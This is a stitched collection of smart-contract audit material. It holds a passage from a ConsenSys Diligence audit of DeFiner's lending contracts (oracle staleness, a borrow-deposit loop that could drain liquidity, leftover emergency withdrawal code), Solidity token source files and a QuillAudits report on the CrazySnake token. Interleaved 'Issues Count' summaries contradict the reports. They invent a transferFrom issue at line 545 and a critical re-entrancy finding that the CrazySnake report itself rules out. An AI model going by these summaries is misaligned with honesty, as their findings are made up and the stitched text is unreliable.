purpose, liquidate it, and exit with a chunk of the system liquidity. Another potential problem with this behavior is FIN token mining. When users borrow and deposit, they earn FIN according to the size of the deposit / borrow, and the difference in deposit / borrow rate indices since the last deposit / borrow. By repeatedly depositing / borrowing, users are able to artificially deposit and borrow far more often than normal, which may allow them to generate FIN tokens at will. This additional strategy may make attacks like the one described above much more economically feasible. Recommendation Due to the limited time available during this engagement, these possibilities and potential mitigations were not fully explored. Definer is encouraged to investigate this behavior more carefully. 4.3 Stale Oracle prices might affect the rates 4.3 Stale Oracle prices might affect the rates Major Description It’s possible that due to network congestion or other reasons, the price that the ChainLink oracle returns is old and not up to date. This is more extreme in lesser known tokens that have fewer ChainLink Price feeds to update the price frequently. The codebase as is, relies on chainLink().getLatestAnswer() and does not check the timestamp of the price. Examples /contracts/registry/TokenRegistry.sol#L291-L296 function priceFromAddress ( address tokenAddress ) public view returns ( uint256 ) { if ( Utils . _isETH ( address ( globalConfig ), tokenAddress )) { return 1 e18 ; } return uint256 ( globalConfig . chainLink (). getLatestAnswer ( tokenAddress )); } Recommendation Do a sanity check on the price returned from the oracle. If the price is older than a threshold, revert or handle in other means. 4.4 Overcomplicated unit conversions 4.4 Overcomplicated unit conversions Medium Description There are many instances of unit conversion in the system that are implemented in a confusing way. This could result in mistakes in the conversion and possibly failure in correct accounting. It’s been seen in the ecosystem that these type of complicated unit conversions could result in calculation mistake and loss of funds. ExamplesHere are a few examples: /contracts/Bank.sol#L216-L224 function getBorrowRatePerBlock ( address _token ) public view returns ( uint ) { if ( ! globalConfig . tokenInfoRegistry (). isSupportedOnCompound ( _token )) // If the token is NOT supported by the third party, borrowing rate = 3% + U * 15%. // If the token is NOT supported by the third party, borrowing rate = 3% + U * 15%. return getCapitalUtilizationRatio ( _token ). mul ( globalConfig . rateCurveSlope ()). div ( INT_UNIT ). add // if the token is suppored in third party, borrowing rate = Compound Supply Rate * 0.4 + Compound Borrow Rate * 0.6 // if the token is suppored in third party, borrowing rate = Compound Supply Rate * 0.4 + Compound Borrow Rate * 0.6 return ( compoundPool [ _token ]. depositRatePerBlock ). mul ( globalConfig . compoundSupplyRateWeights ()). add (( compoundPool [ _token ]. borrowRatePerBlock ). mul ( globalConfig . compoundBorrowRateWeights ())). div } /contracts/Bank.sol#L350-L351 compoundPool [ _token ]. depositRatePerBlock = cTokenExchangeRate . mul ( UNIT ). div ( lastCTokenExchangeRate . sub ( UNIT ). div ( blockNumber . sub ( lastCheckpoint [ _token ])); /contracts/Bank.sol#L384-L385 return lastDepositeRateIndex . mul ( getBlockNumber (). sub ( lcp ). mul ( depositRatePerBlock ). add ( INT_UNIT )). Recommendation Simplify the unit conversions in the system. This can be done either by using a function wrapper for units to convert all values to the same unit before including them in any calculation or by better documenting every line of unit conversion 4.5 Commented out code in the codebase 4.5 Commented out code in the codebase Medium Description There are many instances of code lines (and functions) that are commented out in the code base. Having commented out code increases the cognitive load on an already complex system. Also, it hides the important parts of the system that should get the proper attention, but that attention gets to be diluted. The main problem is that commented code adds confusion with no real benefit. Code should be code, and comments should be comments. Examples Here’s a few examples of such lines of code, note that there are more. /contracts/SavingAccount.sol#L211-L218struct LiquidationVars { // address token; // address token; // uint256 tokenPrice; // uint256 tokenPrice; // uint256 coinValue; // uint256 coinValue; uint256 borrowerCollateralValue ; // uint256 tokenAmount; // uint256 tokenAmount; // uint256 tokenDivisor; // uint256 tokenDivisor; uint256 msgTotalBorrow ; contracts/Accounts.sol#L341-L345 if ( token != ETH_ADDR ) { divisor = 10 ** uint256 ( globalConfig . tokenInfoRegistry (). getTokenDecimals ( token )); } // globalConfig.bank().newRateIndexCheckpoint(token); // globalConfig.bank().newRateIndexCheckpoint(token); power = power . add ( getDepositBalanceCurrent ( token , _borrower ) Many usage of console.log() and also the commented import on most of the contracts // import "@nomiclabs/buidler/console.sol"; // import "@nomiclabs/buidler/console.sol"; ... // console . log ( "tokenNum" , tokenNum ); /contracts/Accounts.sol#L426-L429 // require( // require( // totalBorrow.mul(100) <= totalCollateral.mul(liquidationDiscountRatio), // totalBorrow.mul(100) <= totalCollateral.mul(liquidationDiscountRatio), // "Collateral is not sufficient to be liquidated." // "Collateral is not sufficient to be liquidated." // ); /contracts/registry/TokenRegistry.sol#L298-L306 // function _isETH(address _token) public view returns (bool) { // function _isETH(address _token) public view returns (bool) { // return globalConfig.constants().ETH_ADDR() == _token; // return globalConfig.constants().ETH_ADDR() == _token; // } // } // function getDivisor(address _token) public view returns (uint256) { // function getDivisor(address _token) public view returns (uint256) { // if(_isETH(_token)) return INT_UNIT; // if(_isETH(_token)) return INT_UNIT; // return 10 ** uint256(getTokenDecimals(_token)); // return 10 ** uint256(getTokenDecimals(_token)); // } /contracts/registry/TokenRegistry.sol#L118-L121 // require(_borrowLTV K= 0, "Borrow LTV is zero"); // require(_borrowLTV K= 0, "Borrow LTV is zero"); require ( _borrowLTV < SCALE , "Borrow LTV must be less than Scale" ); // require ( liquidationThreshold > _borrowLTV , "Liquidation threshold must be greater than Borrow LTV" Recommendation In many of the above examples, it’s not clear if the commented code is for testing orobsolete code (e.g. in the last example, can _borrowLTV ==0 ?) . All these instances should be reviewed and the system should be fully tested for all edge cases after the code changes. 4.6 Price volatility may compromise system integrity 4.6 Price volatility may compromise system integrity Medium Won't Fix Resolution Comment from DeFiner team: The issue says that due to price volatility there could be an attack on DeFiner. However, price volatility is inherent in the Cryptocurrency ecosystem. All the other lending platforms like MakerDAO, Compound and AAVE also designed like that, in case of price volatility(downside) more liquidation happens on these platforms as well. Liquidations are in a sense good to keep the market stable. If there is no liquidation during those market crash, the system will be at risk. Due to this, it is always recommended to maintain the collateral and borrow ratio by the user. A user should keep checking his risk in the time when the market crashes. Description SavingAccount.borrow allows users to borrow funds from the bank. The funds borrowed may be denominated in any asset supported by the system-wide TokenRegistry . Borrowed funds come from the system’s existing liquidity: other users’ deposits. Borrowing funds is an instant process. Assuming the user has sufficient collateral to service the borrow request (as well as any existing loans), funds are sent to the user immediately: code/contracts/SavingAccount.sol:L130-L140 code/contracts/SavingAccount.sol:L130-L140 function borrow ( address _token , uint256 _amount ) external onlySupportedToken ( _token ) onlyEnabledToken ( _token require ( _amount != 0 , "Borrow zero amount of token is not allowed." ); globalConfig . bank (). borrow ( msg . sender , _token , _amount ); // Transfer the token on Ethereum // Transfer the token on Ethereum SavingLib . send ( globalConfig , _amount , _token ); emit Borrow ( _token , msg . sender , _amount ); } Users may borrow up to their “borrow power”, which is the sum of their deposit balance for each token, multiplied by each token’s borrowLTV , multiplied by the token price (queried from a chainlink oracle): code/contracts/Accounts.sol:L344-L349 code/contracts/Accounts.sol:L344-L349// globalConfig.bank().newRateIndexCheckpoint(token); // globalConfig.bank().newRateIndexCheckpoint(token); power = power . add ( getDepositBalanceCurrent ( token , _borrower ) . mul ( globalConfig . tokenInfoRegistry (). priceFromIndex ( i )) . mul ( globalConfig . tokenInfoRegistry (). getBorrowLTV ( token )). div ( 100 ) . div ( divisor ) ); If users borrow funds, their position may be liquidated via SavingAccount.liquidate . An account is considered liquidatable if the total value of borrowed funds exceeds the total value of collateral (multiplied by some liquidation threshold ratio). These values are calculated similarly to “borrow power:” the sum of the deposit balance for each token, multiplied by each token’s borrowLTV , multiplied by the token price as determined by chainlink. Conclusion The instant-borrow approach, paired with the chainlink oracle represents a single point of failure for the Definer system. When the price of any single supported asset is sufficiently volatile, the entire liquidity held by the system is at risk as borrow power and collateral value become similarly volatile. Some users may find their borrow power skyrocket and use this inflated value to drain large amounts of system liquidity they have no intention of repaying. Others may find their held collateral tank in value and be subject to sudden liquidations. 4.7 Emergency withdrawal code present 4.7 Emergency withdrawal code present Medium Description Code and functionality for emergency stop and withdrawal is present in this code base. Examples /contracts/lib/SavingLib.sol#L43-L48 // ============================================ // ============================================ // EMERGENCY WITHDRAWAL FUNCTIONS // EMERGENCY WITHDRAWAL FUNCTIONS // Needs to be removed when final version deployed // Needs to be removed when final version deployed // ============================================ // ============================================ function emergencyWithdraw ( GlobalConfig globalConfig , address _token ) public { address cToken = globalConfig . tokenInfoRegistry (). getCToken ( _token ); ... /contracts/SavingAccount.sol#L307-L309 function emergencyWithdraw ( address _token ) external onlyEmergencyAddress { SavingLib . emergencyWithdraw ( globalConfig , _token ); } /contracts/config/Constant.sol#L7-L8... address payable public constant EMERGENCY_ADDR = 0xc04158f7dB6F9c9fFbD5593236a1a3D69F92167c ; ... Recommendation To remove the emergency code and fully test all the affected contracts. 4.8 4.8 Accounts contains expensive looping contains expensive looping Medium This issue describes Accounts.getBorrowETH in-depth as an example of potentially-problematic looping in Accounts . Similar issues exist in Accounts.getBorrowPower , Accounts.getDepositETH , Accounts.isAccountLiquidatable , and Accounts.claim . Definer is encouraged to investigate all of these cases in detail. Description Accounts.getBorrowETH performs multiple external calls to GlobalConfig and TokenRegistry within a for loop: code/contracts/Accounts.sol:L381-L397 code/contracts/Accounts.sol:L381-L397 function getBorrowETH ( address _accountAddr ) public view returns ( uint256 borrowETH ) { uint tokenNum = globalConfig . tokenInfoRegistry (). getCoinLength (); //console.log("tokenNum", tokenNum); //console.log("tokenNum", tokenNum); for ( uint i = 0 ; i < tokenNum ; i ++ ) { if ( isUserHasBorrows ( _accountAddr , uint8 ( i ))) { address tokenAddress = globalConfig . tokenInfoRegistry (). addressFromIndex ( i ); uint divisor = INT_UNIT ; if ( tokenAddress != ETH_ADDR ) { divisor = 10 ** uint256 ( globalConfig . tokenInfoRegistry (). getTokenDecimals ( tokenAddress )); } borrowETH = borrowETH . add ( getBorrowBalanceCurrent ( tokenAddress , _accountAddr ). mul ( globalConfig } } return borrowETH ; } The loop also makes additional external calls and delegatecalls from: TokenRegistry.priceFromIndex : code/contracts/registry/TokenRegistry.sol:L281-L289 code/contracts/registry/TokenRegistry.sol:L281-L289function priceFromIndex ( uint index ) public view returns ( uint256 ) { require ( index < tokens . length , "coinIndex must be smaller than the coins length." ); address tokenAddress = tokens [ index ]; // Temp fix // Temp fix if ( Utils . _isETH ( address ( globalConfig ), tokenAddress )) { return 1 e18 ; } return uint256 ( globalConfig . chainLink (). getLatestAnswer ( tokenAddress )); } Accounts.getBorrowBalanceCurrent : code/contracts/Accounts.sol:L313-L331 code/contracts/Accounts.sol:L313-L331 function getBorrowBalanceCurrent ( address _token , address _accountAddr ) public view returns ( uint256 borrowBalance ) { AccountTokenLib . TokenInfo storage tokenInfo = accounts [ _accountAddr ]. tokenInfos [ _token ]; uint accruedRate ; if ( tokenInfo . getBorrowPrincipal () == 0 ) { return 0 ; } else { if ( globalConfig . bank (). borrowRateIndex ( _token , tokenInfo . getLastBorrowBlock ()) == 0 ) { accruedRate = INT_UNIT ; } else { accruedRate = globalConfig . bank (). borrowRateIndexNow ( _token ) . mul ( INT_UNIT ) . div ( globalConfig . bank (). borrowRateIndex ( _token , tokenInfo . getLastBorrowBlock ())); } return tokenInfo . getBorrowBalance ( accruedRate ); } } In a worst case scenario, each iteration may perform a maximum of 25+ calls/delegatecalls. Assuming a maximum tokenNum of 128 ( TokenRegistry.MAX_TOKENS ), the gas cost for this method may reach upwards of 2 million for external calls alone. Given that this figure would only be a portion of the total transaction gas cost, getBorrowETH may represent a DoS risk within the Accounts contract. Recommendation Avoid for loops unless absolutely necessary Where possible, consolidate multiple subsequent calls to the same contract to a single call, and store the results of calls in local variables for re-use. For example, Instead of this:uint tokenNum = globalConfig . tokenInfoRegistry (). getCoinLength (); for ( uint i = 0 ; i < tokenNum ; i ++ ) { if ( isUserHasBorrows ( _accountAddr , uint8 ( i ))) { address tokenAddress = globalConfig . tokenInfoRegistry (). addressFromIndex ( i ); uint divisor = INT_UNIT ; if ( tokenAddress != ETH_ADDR ) { divisor = 10 ** uint256 ( globalConfig . tokenInfoRegistry (). getTokenDecimals ( tokenAddress )); } borrowETH = borrowETH . add ( getBorrowBalanceCurrent ( tokenAddress , _accountAddr ). mul ( globalConfig . tokenInfoRegistry } } Modify TokenRegistry to support a single call, and cache intermediate results like this: TokenRegistry registry = globalConfig . tokenInfoRegistry (); uint tokenNum = registry . getCoinLength (); for ( uint i = 0 ; i < tokenNum ; i ++ ) { if ( isUserHasBorrows ( _accountAddr , uint8 ( i ))) { // here, getPriceFromIndex(i) performs all of the steps as the code above, but with only 1 ext call // here, getPriceFromIndex(i) performs all of the steps as the code above, but with only 1 ext call borrowETH = borrowETH . add ( getBorrowBalanceCurrent ( tokenAddress , _accountAddr ). mul ( registry . getPriceFromIndex } } 4.9 Naming inconsistency 4.9 Naming inconsistency Minor Description There are some inconsistencies in the naming of some functions with what they do. Examples /contracts/registry/TokenRegistry.sol#L272-L274 function getCoinLength () public view returns ( uint256 length ) { //@audit-info coin vs token //@audit-info coin vs token return tokens . length ; } Recommendation Review the code for the naming inconsistencies. Appendix 1 - Files in Scope Appendix 1 - Files in Scope This audit covered the following files:File Name File Name SHA-1 Hash SHA-1 Hash contracts/Accounts.sol f562f6404758d252ed3662155349a1c4a4638c57 contracts/lib/AccountTokenLib.sol a29fa0969c67697568cdb64d298263ef43a93b85 contracts/lib/BitmapLib.sol 2c1ba5411a775e8a427e59c31a95a2aa4c0c6199 contracts/lib/Utils.sol 7404d204b028244fab937088286452c720f4347e contracts/config/GlobalConfig.sol fe217933c8f24bab1e4ad611b10a645c5ddec75d contracts/registry/TokenRegistry.sol 58746c39254f0b06985cbbec3ab3dd6c175439f8 contracts/SavingAccount.sol 3f7c60c2083006d710115543b99b873dabfca6d1 contracts/config/Constant.sol 15b61e1384788e555ba0bd07770a90d0ccd9b963 contracts/lib/SavingLib.sol 69eaa76ce1bd3b61df6226ab0646b0f242149381 contracts/InitializableReentrancyGuard.sol 9ba6c6b7dd1397c3700901e2ec818a17e100f2b7 contracts/InitializablePausable.sol 7e1ef3878154b66b351f749601b5328fe0c5fde1 contracts/Bank.sol d8b954351cc2c5cdf38e60086190ad67d9d40e39 contracts/oracle/ChainLinkAggregator.sol c51b0a052ffc8bf4b65e24bd0f944b9a914df0d9 Appendix 2 - Disclosure Appendix 2 - Disclosure ConsenSys Diligence (“CD”) typically receives compensation from one or more clients (the “Clients”) for performing the analysis contained in these reports (the “Reports”). The Reports may be distributed through other means, including via ConsenSys publications and other distributions. The Reports are not an endorsement or indictment of any particular project or team, and the Reports do not guarantee the security of any particular project. This Report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. No Report provides any warranty or representation to any Third-Party in any respect, including regarding the bugfree nature of code, the business model or proprietors of any such business model, and the legal compliance of any such business. No third party should rely on the Reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. Specifically, for the avoidance of doubt, this Report does not constitute investment advice, is not intended to be relied upon as investment advice, is not an endorsement of this project or team, and it is not a guarantee as to the absolute security of the project. CD owes no duty to any Third- Party by virtue of publishing these Reports. PURPOSE OF REPORTS The Reports and the analysis described therein are created solely for Clients and published with their consent. The scope of our review is limited to a review of Solidity code and only the Solidity code we note as being within the scope of our review within this report. The Solidity language itself remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any otherRequest a Security Review Today Request a Security Review Today Get in touch with our team to request a quote for a smart contract audit. AUDITS FUZZING SCRIBBLE BLOG TOOLS RESEARCH ABOUT CONTACT CAREERS PRIVACY POLICY Subscribe to Our Newsletter Subscribe to Our Newsletter Stay up-to-date on our latest offerings, tools, and the world of blockchain security. areas beyond Solidity that could present security risks. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. CD makes the Reports available to parties other than the Clients (i.e., “third parties”) – on its website. CD hopes that by making these analyses publicly available, it can help the blockchain ecosystem develop technical best practices in this rapidly evolving area of innovation. LINKS TO OTHER WEB SITES FROM THIS WEB SITE You may, through hypertext or other computer links, gain access to web sites operated by persons other than ConsenSys and CD. Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites’ owners. You agree that ConsenSys and CD are not responsible for the content or operation of such Web sites, and that ConsenSys and CD shall have no liability to you or any other person or entity for the use of third party Web sites. Except as described below, a hyperlink from this web Site to another web site does not imply or mean that ConsenSys and CD endorses the content on that Web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the Reports. ConsenSys and CD assumes no responsibility for the use of third party software on the Web Site and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. TIMELINESS OF CONTENT The content contained in the Reports is current as of the date appearing on the Report and is subject to change without notice. Unless indicated otherwise, by ConsenSys and CD. CONTACT US CONTACT US
Issues Count of Minor/Moderate/Major/Critical - Minor: 5 - Moderate: 2 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked return value in function transferFrom() (line 545) 2.b Fix (one line with code reference) - Check return value of transferFrom() (line 545) Moderate 3.a Problem (one line with code reference) - Unchecked return value in function transfer() (line 537) 3.b Fix (one line with code reference) - Check return value of transfer() (line 537) Major - None Critical - None Observations - The Owner has unilateral control over each contract in the Definer protocol. - DeFiner is fully trusted in this system as they control all the variables and contract addresses used in DeFiner smart contract system. - Using time lock in these changes can mitigate some issues and protect users from system take over. Conclusion The audit of the SavingAccount protocol revealed 5 minor issues and 2 moderate issues. No major or critical issues were found Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 1 Critical: 5.a Problem: Users can withdraw their funds immediately when they are over-leveraged. 5.b Fix: Disallow withdrawals if the user is already over-leveraged. Observations: The condition is included to support the liquidate method, but its inclusion creates an attack vector that may allow users to withdraw when they should not be able to do so. Conclusion: The report concluded that users should not be allowed to withdraw their funds when they are over-leveraged. This will help to prevent any attack vectors that may allow users to withdraw when they should not be able to do so. Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major: 4.2 Users can borrow funds, deposit them, then borrow more Problem: Users may deposit and borrow funds denominated in any asset supported by the TokenRegistry. Fix: For each asset, borrow power is calculated from the user’s deposit size, multiplied by the current chainlink price, multiplied and that asset’s “borrow LTV.” Observations: Consider adding an additional method to support liquidate, so that users may not exit without repaying debts. Conclusion: The funds of the users are only at risk when their position is over-leveraged, which is expected behaviour.
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; contract Migrations { address public owner = msg.sender; uint public last_completed_migration; modifier restricted() { require( msg.sender == owner, "This function is restricted to the contract's owner" ); _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } } /* * @Author: ExpLife0011 * @Date: 2022-04-23 16:31:42 * @LastEditTime: 2022-04-24 14:28:04 * @LastEditors: ExpLife0011 * @Description: Token contract for CrazySnake game * @FilePath: /CrazyToken/contracts/CrazyToken.sol * MIT License */ // SWC-Floating Pragma: L12 // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; import "../node_modules/@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol"; import "../node_modules/@openzeppelin/contracts/access/Ownable.sol"; import "../node_modules/@openzeppelin/contracts/utils/math/SafeMath.sol"; import "../node_modules/hardhat/console.sol"; contract CrazyToken is ERC20PresetMinterPauser, Ownable { using SafeMath for uint256; uint256 private constant INITIAL_SUPPLY = 1_000_000_000e18; bool public vestingTransferDone; bool public miningTransferDone; bool public inGameRewardTransferDone; bool public ecosystemGrowthTransferDone; bool public marketingTransferDone; /** * @dev Constructor of the contract. * @notice Initialize token's name and symbol. */ constructor() ERC20PresetMinterPauser("Crazy Token", "$Crazy") { _mint(address(this), INITIAL_SUPPLY); } /** * @dev Transfer tokens to vesting contract. * @param _vestingAddress Contract address where tokens for vesting. * to send (40% of total supply). */ function transferToVesting(address _vestingAddress) external onlyOwner { require(!vestingTransferDone, "Already transferred"); _transfer(address(this), _vestingAddress, INITIAL_SUPPLY.mul(40).div(100)); vestingTransferDone = true; } /** * @dev Transfer tokens to vault for mining. * @param _miningAddress Vault address where tokens for mining. * to send (40% of total supply). */ function transferToMining(address _miningAddress) external onlyOwner { require(!miningTransferDone, "Already transferred"); _transfer(address(this), _miningAddress, INITIAL_SUPPLY.mul(40).div(100)); miningTransferDone = true; } /** * @dev Transfer tokens to vault for in game reward. * @param _inGameRewardAddress Vault address where tokens for inGameReward. * to send (10% of total supply). */ function transferToVaultInGameReward(address _inGameRewardAddress) external onlyOwner { require(!inGameRewardTransferDone, "Already transferred"); _transfer(address(this), _inGameRewardAddress, INITIAL_SUPPLY.mul(10).div(100)); inGameRewardTransferDone = true; } /** * @dev Transfer tokens to vault for ecosystemGrowth. * @param _ecosystemGrowthAddress vault address where tokens for ecosystemGrowth. * to send (5% of total supply). */ function transferToEcosystemGrowth(address _ecosystemGrowthAddress) external onlyOwner { require(!ecosystemGrowthTransferDone, "Already transferred"); _transfer(address(this), _ecosystemGrowthAddress, INITIAL_SUPPLY.mul(5).div(100)); ecosystemGrowthTransferDone = true; } /** * @dev Transfer tokens to marketing contract. * @param _marketingAddress Contract address where tokens for marketing. * to send (5% of total supply). */ function transferToMarketing(address _marketingAddress) external onlyOwner { require(!marketingTransferDone, "Already transferred"); _transfer(address(this), _marketingAddress, INITIAL_SUPPLY.mul(5).div(100)); marketingTransferDone = true; } }
Audit R eport May, 2022 For QuillA ud i t saudits.quillhash.com CrazySnake - Audit ReportHigh Severity Issues Medium Severity Issues Low Severity Issues A.1 Missing address verification Informational Issues A.2 Unlocked Pragma A.3 BEP20 Standard violation A.4 Public functions that could be declared external inorder to save gas A. Contract - CrazySnakeExecutive Summary Checked Vulnerabilities Techniques and Methods Manual Testing......................................................................................... ............................................................................................................................................................................... ............................................................................................................................................................................. ........................................................................................................................................................................................... ............................................................................................Functional Testing Automated Testing Closing Summary About QuillAuditsTable of Content 01 03 04 05 05 05 05 05 05 05 06 06 07 08 08 09 10audits.quillhash.com High Open Issues Resolved IssuesAcknowledged Issues Partially Resolved IssuesLow 00 0 0 0 02 1 10 00 0 0 0Medium InformationalHigh Medium Low InformationalExecutive Summary CrazySnake CrazySnake is the first integrated city of amusement offering shopping, content creation or music composing, networking, professionally or on a friendly basis, chatting domains and 3D gaming. 5th May, 2022 to 11th May, 2022 Manual Review, Functional Testing, Automated Testing etc. The scope of this audit was to analyse CrazySnake codebase for quality, security, and correctness. https://github.com/CrazySnakeTeam/CrazyToken 489ae9dab8eb5ba684fa1c7dbbd803c9db52dc9d https://github.com/CrazySnakeTeam/CrazyToken d57d99ba2ebbea9ae3c51c7849c822b0510ae5fcProject Name Overview Timeline Method Scope of Audit Commit Fixed in 01 CrazySnake - Audit Report04 Issues Foundaudits.quillhash.com Medium The issues marked as medium severity usually arise because of errors and deficiencies in the smart contract code. Issues on this level could potentially bring problems, and they should still be fixed. Low Low-level severity issues can cause minor impact and or are just warnings that can remain unfixed for now. It would be better to fix these issues at some point in the future. Informational These are severity issues that indicate an improvement request, a general question, a cosmetic or documentation error, or a request for information. There is low-to-no impact.High A high severity issue or vulnerability means that your smart contract can be exploited. Issues on this level are critical to the smart contract’s performance or functionality, and we recommend these issues be fixed before moving to a live environment.Types of Severities Open Security vulnerabilities identified that must be resolved and are currently unresolved. Resolved These are the issues identified in the initial audit and have been successfully fixed. Acknowledged Vulnerabilities which have been acknowledged but are yet to be resolved. Partially Resolved Considerable efforts have been invested to reduce the risk/impact of the security issue, but are not completely resolved.Types of Issues 02 CrazySnake - Audit Report CrazySnake - Audit Reportaudits.quillhash.com Re-entrancy Timestamp Dependence Gas Limit and Loops DoS with Block Gas Limit Transaction-Ordering Dependence Use of tx.origin Exception disorder Gasless send Balance equality Byte array Transfer forwards all gasERC20 API violation Malicious libraries Compiler version not fixed Redundant fallback function Send instead of transfer Style guide violation Unchecked external call Unchecked math Unsafe type inference Implicit visibility leveChecked Vulnerabilities 03 CrazySnake - Audit Report CrazySnake - Audit Reportaudits.quillhash.com Techniques and Methods Throughout the audit of smart contract, care was taken to ensure: The overall quality of code. Use of best practices. Code documentation and comments match logic and expected behaviour. Token distribution and calculations are as per the intended behaviour mentioned in the whitepaper. Implementation of ERC-20 token standards. Efficient use of gas. Code is safe from re-entrancy and other vulnerabilities. The following techniques, methods and tools were used to review all the smart contracts. Structural Analysis In this step, we have analysed the design patterns and structure of smart contracts. A thorough check was done to ensure the smart contract is structured in a way that will not result in future problems. Static Analysis Static analysis of smart contracts was done to identify contract vulnerabilities. In this step, a series of automated tools are used to test the security of smart contracts. Code Review / Manual Analysis Manual analysis or review of code was done to identify new vulnerabilities or verify the vulnerabilities found during the static analysis. Contracts were completely manually analysed, their logic was checked and compared with the one described in the whitepaper. Besides, the results of the automated analysis were manually verified. Gas Consumption In this step, we have checked the behaviour of smart contracts in production. Checks were done to know how much gas gets consumed and the possibilities of optimization of code to reduce gas consumption. Tools and Platforms used for Audit Remix IDE, Truffle, Truffle Team, Solhint, Mythril, Slither, Solidity statistic analysis. 04 CrazySnake - Audit Report CrazySnake - Audit Reportaudits.quillhash.com Manual Testing High Severity IssuesA. Contract - CrazySnake No issues were found No issues were foundMedium Severity Issues 05A.1 Missing address verification [#L35,L43,L55,L68,L78,L89] StatusRemediationDescription Certain functions lack a safety check in the address, the address-type argument should include a zero-address test, otherwise, the contract's functionality may become inaccessible or tokens may be burned in perpetuity. It’s recommended to undertake further validation prior to user-supplied data. The concerns can be resolved by utilizing a whitelist technique or a modifier. FixedLow Severity Issues CrazySnake - Audit Reportaudits.quillhash.com 06A.2 Unlocked pragma (pragma solidity ^0.5.0) StatusRemediationDescription Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively. Here all the in-scope contracts have an unlocked pragma, it is recommended to lock the same. Moreover, we strongly suggest not to use experimental Solidity features (e.g., pragma experimental ABIEncoderV2) or third-party unaudited libraries. If necessary, refactor the current code base to only use stable features. FixedInformational Issues A.3 Public functions that could be declared external inorder to save gas StatusDescription Whenever a function is not called internally, it is recommended to define them as external instead of public in order to save gas. For all the public functions, the input parameters are copied to memory automatically, and it costs gas. If your function is only called externally, then you should explicitly mark it as external. External function’s parameters are not copied into memory but are read from calldata directly. This small optimization in your solidity code can save you a lot of gas when the function input parameters are huge. Here is a list of function that could be declared external: - totalSupply() - name() - symbol()- decimals() - increaseAllowance() - decreaseAllowance() Acknowledged CrazySnake - Audit Reportaudits.quillhash.com 07A.4 BEP20 Standard violation Status Implementation of transfer() function does not allow the input of zero amount as it’s demanded in ERC20 and BEP20 standards. This issue may break the interaction with smart contracts that rely on full BEP20 support. Moreover, the GetOwner() function which is a mandatory function is missing from the contract. The transfer function must treat zero amount transfer as a normal transfer and an event must be emitted. Moreover, it is recommended to implement getOwner() function. Description Recommendation Acknowledged CrazySnake - Audit Reportaudits.quillhash.com 08 Should be able call all getters Should be able to transfer token Should be able to approve Should be able to increaseApprove Should be able to decreaseApprove Should be able to transferFrom Should revert if transfer amount exceeds balance Should be able to transferToVesting Should be able to transferToMining Should be able to transferToVaultInGameReward Should be able to transferToEcosystemGrowth Should be able to transferToMarketingSome of the tests performed are mentioned below Functional Testing Automated Tests No major issues were found. Some false positive errors were reported by the tools. All the other issues have been categorized above according to their level of severity. CrazySnake - Audit Reportaudits.quillhash.com 09 QuillAudits smart contract audit is not a security warranty, investment advice, or an endorsement of the CrazySnake Platform. This audit does not provide a security or correctness guarantee of the audited smart contracts. The statements made in this document should not be interpreted as investment or legal advice, nor should its authors be held accountable for decisions made based on them. Securing smart contracts is a multistep process. One audit cannot be considered enough. We recommend that the CrazySnake Team put in place a bug bounty program to encourage further analysis of the smart contract by other third parties.Closing Summary Disclaimer In this report, we have considered the security of the CrazySnake. We performed our audit according to the procedure described above. Some issues of Low and informational severity were found, Some suggestions and best practices are also provided in order to improve the code quality and security posture. CrazySnake - Audit Report500+ Audits Completed500K Lines of Code Audited$15B SecuredAbout QuillAudits QuillAudits is a secure smart contracts audit platform designed by QuillHash Technologies. We are a team of dedicated blockchain security experts and smart contract auditors determined to ensure that Smart Contract-based Web3 projects can avail the latest and best security solutions to operate in a trustworthy and risk-free ecosystem. Follow Our Journey audits.quillhash.com CrazySnake - Audit ReportAudit Report May, 2022 For audits.quillhash.com audits@quillhash.com Canada, India, Singapore, United Kingdom QuillA u d i t s
Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 2 - Major: 0 - Critical: 0 Moderate 2.a Problem: Missing address verification (A.1) 2.b Fix: Address verification should be implemented to ensure that the user is the owner of the address. 3.a Problem: Unlocked Pragma (A.2) 3.b Fix: Pragma should be locked to the latest version to ensure that the code is compatible with the latest compiler version. Observations - No critical or major issues were found. - The code is well commented and organized. Conclusion The audit of the CrazySnake codebase revealed two moderate issues. The code is well commented and organized. No critical or major issues were found. Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 1 Critical 5.a Problem: Re-entrancy 5.b Fix: Use of modifiers and require statements to prevent re-entrancy Observations - Structural Analysis was done to ensure the smart contract is structured in a way that will not result in future problems - Static Analysis was done to identify contract vulnerabilities - Code Review/Manual Analysis was done to identify new vulnerabilities or verify the vulnerabilities found during the static analysis - Gas Consumption was checked to know how much gas gets consumed and the possibilities of optimization of code to reduce gas consumption - Tools and Platforms used for Audit: Remix IDE, Truffle, Truffle Team, Solhint, Mythril, Slither, Solidity statistic analysis - Manual Testing was done to identify high severity issues Conclusion The audit was successful in identifying the critical issue of re-entrancy and providing a fix for it. The audit also identified the use of best practices and efficient use of gas. Issues Count of Minor/Moderate/Major/Critical - Minor: 1 - Moderate: 1 - Major: 0 - Critical: 0 Minor Issues 2.a Problem: Certain functions lack a safety check in the address, the address-type argument should include a zero-address test, otherwise, the contract's functionality may become inaccessible or tokens may be burned in perpetuity. 